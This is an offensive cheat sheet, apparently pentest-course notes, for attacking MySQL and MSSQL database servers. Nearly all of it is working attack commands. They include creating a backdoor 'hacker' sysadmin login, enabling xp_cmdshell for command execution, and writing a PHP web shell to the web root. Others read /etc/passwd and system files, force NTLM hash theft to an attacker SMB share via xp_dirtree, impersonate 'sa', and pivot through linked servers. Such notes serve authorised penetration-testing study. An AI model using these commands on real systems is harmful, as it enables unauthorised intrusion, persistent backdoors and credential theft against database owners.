MySQL & MSSQL (3306 & 1433)

Common Configuration Errors

  • Anonymous access enabled.
  • Users with no password configured.
  • Any user, group, or computer allowed to access the SQL server.
Depending on a user's privileges, we can perform various actions: read/modify the database, execute commands, read local files, communicate with other databases, capture the local system hash, impersonate users, and access other networks.

Connection

terminal
# MySQLmysql -u julio -pPassword123 -h 10.129.20.13# MSSQLsqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30mssqlclient.py -p 1433 julio@10.129.203.7

Read from the Database (MSSQL)

sql
select @@version;
select user_name();
SELECT name FROM master.dbo.sysdatabases;
USE master
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
EXEC sp_linkedservers
SELECT * FROM sys.servers;
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Execute Commands with xp_cmdshell (MSSQL)

sql
EXECUTE xp_cmdshell 'whoami';
Enable xp_cmdshell.
sql
EXECUTE sp_configure 'show advanced options', 1
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

Write Local Files (MySQL)

MySQL does not have a procedure like xp_cmdshell, but we can write a PHP file to the web server if we have the privileges (port 80 open).
sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
If MySQL is configured with an empty secure_file_priv variable, we can read and write files without restrictions.
sql
show variables like "secure_file_priv";

Read Local Files

sql
-- MSSQL
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
-- MySQL
SELECT LOAD_FILE("/etc/passwd");

Capture MSSQL Hash

Using xp_dirtree or xp_subdirs, we can steal the MSSQL service account hash by making the SQL server access an attacker-controlled SMB server (Responder).
sql
EXEC master..xp_dirtree '\\10.10.110.17\share\';
EXEC master..xp_subdirs '\\10.10.110.17\share\';

Impersonate Users (MSSQL)

Special IMPERSONATE permission. Identify users we can impersonate:
sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Impersonate the "sa" user:
sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;

Communication with Other Databases

If there is a linked server in MSSQL, we can execute queries on remote databases:
sql
SELECT srvname, isremote FROM sysservers
EXEC sp_linkedservers
EXECUTE('SELECT @@servername, @@version') AT [LOCAL.TEST.LINKED.SRV];